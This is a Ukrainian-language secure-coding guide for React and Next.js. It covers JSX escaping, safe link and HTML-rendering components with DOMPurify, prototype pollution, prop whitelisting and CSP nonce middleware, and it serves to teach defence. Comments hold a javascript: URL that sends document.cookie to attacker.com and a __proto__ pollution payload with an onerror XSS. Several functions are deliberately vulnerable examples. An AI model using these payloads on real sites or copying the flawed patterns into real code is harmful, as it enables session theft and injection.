Безпека React: вектори XSS у JSX, Prototype Pollution та CSP Nonces

const untrustedInput = '<script>alert("hacked")</script>';
// React відрендерить безпечний текстовий вузол:
// &lt;script&gt;alert(&quot;hacked&quot;)&lt;/script&gt;
<div>{untrustedInput}</div>

┌────────────────────────────────────────────────────────────────────────┐
│                   РІВЕНЬ 1: МЕРЕЖА ТА ЗАГОЛОВКИ БЕЗПЕКИ                │
│  Content-Security-Policy (CSP) зі суворим криптографічним Nonce        │
│  script-src 'self' 'nonce-{RANDOM}' 'strict-dynamic';                  │
│  frame-ancestors 'none'; base-uri 'self'; object-src 'none';           │
└───────────────────────────────────┬────────────────────────────────────┘
                                    │ Блокує виконання неавторизованого JS
                                    ▼
┌────────────────────────────────────────────────────────────────────────┐
│                   РІВЕНЬ 2: ВАЛІДАЦІЯ ТА САНІТИЗАЦІЯ ВВЕДЕННЯ          │
│  - DOMPurify: суворий whitelist дозволених тегів та атрибутів          │
│  - Валідація протоколів URL (лише https: та http:)                     │
│  - Захист від Prototype Pollution: Object.freeze / Object.create(null) │
└───────────────────────────────────┬────────────────────────────────────┘
                                    │ Нейтралізує ін'єкції в атрибути та mXSS
                                    ▼
┌────────────────────────────────────────────────────────────────────────┐
│                   РІВЕНЬ 3: АРХІТЕКТУРА СЕСІЙ ТА ТОКЕНІВ               │
│  - Refresh Token: куки HttpOnly; Secure; SameSite=Strict               │
│  - Access Token: строго в оперативній пам'яті (In-Memory Heap)         │
│  - Механізм Silent Refresh при 401 Unauthorized з чергою запитів       │
└───────────────────────────────────┬────────────────────────────────────┘
                                    │ Ізолює секрети від читання скриптами
                                    ▼
┌────────────────────────────────────────────────────────────────────────┐
│                   РІВЕНЬ 4: БЕЗПЕЧНИЙ РЕНДЕРИНГ КОМПОНЕНТІВ            │
│  - Явний whitelist пропсів замість сліпого спреду <Comp {...payload} />│
│  - Безпечні обгортки <SafeLink> та <SafeHtmlRenderer>                  │
│  - Атрибути rel="noopener noreferrer nofollow" для зовнішніх посилань  │
└────────────────────────────────────────────────────────────────────────┘

// ❌ Вразливий компонент: клік призведе до виконання скрипта в контексті жертви
export function UserProfileLink({ websiteUrl }: { websiteUrl: string }) {
  // Якщо websiteUrl = "javascript:fetch('https://attacker.com/steal?c='+document.cookie)"
  return <a href={websiteUrl}>Веб-сайт користувача</a>;
}

import React from 'react';

interface SafeLinkProps extends React.AnchorHTMLAttributes<HTMLAnchorElement> {
  href: string;
  fallbackText?: string;
}

const ALLOWED_PROTOCOLS = new Set(['https:', 'http:', 'mailto:', 'tel:']);

export function SafeLink({
  href,
  fallbackText,
  children,
  ...restProps
}: SafeLinkProps) {
  const isSafe = React.useMemo(() => {
    try {
      // Парсимо відносно безпечного базового URL для відсіювання невалідних рядків
      const parsed = new URL(href, window.location.origin);
      return ALLOWED_PROTOCOLS.has(parsed.protocol);
    } catch {
      return false;
    }
  }, [href]);

  if (!isSafe) {
    return (
      <span className="text-text-muted cursor-not-allowed">
        {fallbackText ?? children}
      </span>
    );
  }

  // Явно захищаємо від Reverse Tabnabbing та витоку Referer
  return (
    <a
      href={href}
      target="_blank"
      rel="noopener noreferrer nofollow"
      {...restProps}
    >
      {children}
    </a>
  );
}

import React from 'react';
import DOMPurify from 'dompurify';

interface SafeHtmlRendererProps {
  dirtyHtml: string;
  className?: string;
}

export const SafeHtmlRenderer: React.FC<SafeHtmlRendererProps> = ({
  dirtyHtml,
  className,
}) => {
  const cleanHtml = React.useMemo(() => {
    return DOMPurify.sanitize(dirtyHtml, {
      ALLOWED_TAGS: [
        'b', 'i', 'em', 'strong', 'a', 'p', 'ul', 'ol', 'li', 'code', 'pre', 'blockquote'
      ],
      ALLOWED_ATTR: ['href', 'target', 'rel', 'class'],
      ALLOW_DATA_ATTR: false,
      ADD_ATTR: ['target', 'rel'],
      FORBID_TAGS: ['style', 'script', 'iframe', 'object', 'embed', 'form'],
      FORBID_ATTR: ['onerror', 'onload', 'onclick', 'onmouseover', 'style'],
    });
  }, [dirtyHtml]);

  return (
    <div
      className={className}
      dangerouslySetInnerHTML={{ __html: cleanHtml }}
    />
  );
};

// ❌ Вразлива функція глибокого злиття об'єктів
function naiveDeepMerge(target: any, source: any) {
  for (const key of Object.keys(source)) {
    if (typeof source[key] === 'object' && source[key] !== null) {
      if (!target[key]) target[key] = {};
      naiveDeepMerge(target[key], source[key]);
    } else {
      target[key] = source[key];
    }
  }
  return target;
}

// Якщо source = JSON.parse('{"__proto__": {"dangerouslySetInnerHTML": {"__html": "<img src=x onerror=alert(1)>"}}}')
// У результаті Object.prototype.dangerouslySetInnerHTML стає активним для ВСІХ компонентів!

// ❌ Сліпий спред пропсів: атакуючий може прокинути службові атрибути
export function UserProfileCard({ rawData }: { rawData: Record<string, unknown> }) {
  return <div {...rawData} className="user-profile" />;
}

// ✅ Безпечний підхід: сувора деструктуризація та білий список пропсів
interface SafeUserData {
  id: string;
  displayName: string;
  avatarUrl?: string;
}

export function SafeUserProfileCard({ id, displayName, avatarUrl }: SafeUserData) {
  return (
    <div data-user-id={id} className="user-profile">
      <span>{displayName}</span>
      {avatarUrl && <img src={avatarUrl} alt={displayName} loading="lazy" />}
    </div>
  );
}

import { NextResponse, type NextRequest } from 'next/server';

export function middleware(request: NextRequest) {
  // 1. Генерація криптографічно стійкого випадкового токена Nonce
  const nonce = Buffer.from(crypto.randomUUID()).toString('base64');

  // 2. Формування суворої політики CSP
  // 'strict-dynamic' передає довіру від довіреного скрипта його дочірнім чанкам
  const cspHeader = `
    default-src 'self';
    script-src 'self' 'nonce-${nonce}' 'strict-dynamic';
    style-src 'self' 'nonce-${nonce}';
    img-src 'self' blob: data: https:;
    font-src 'self';
    object-src 'none';
    base-uri 'self';
    form-action 'self';
    frame-ancestors 'none';
    upgrade-insecure-requests;
  `.replace(/\s{2,}/g, ' ').trim();

  // 3. Ін'єкція nonce у заголовки запиту (для Server Components) та відповіді (для клієнта)
  const requestHeaders = new Headers(request.headers);
  requestHeaders.set('x-nonce', nonce);
  requestHeaders.set('Content-Security-Policy', cspHeader);

  const response = NextResponse.next({
    request: {
      headers: requestHeaders,
    },
  });

  response.headers.set('Content-Security-Policy', cspHeader);
  return response;
}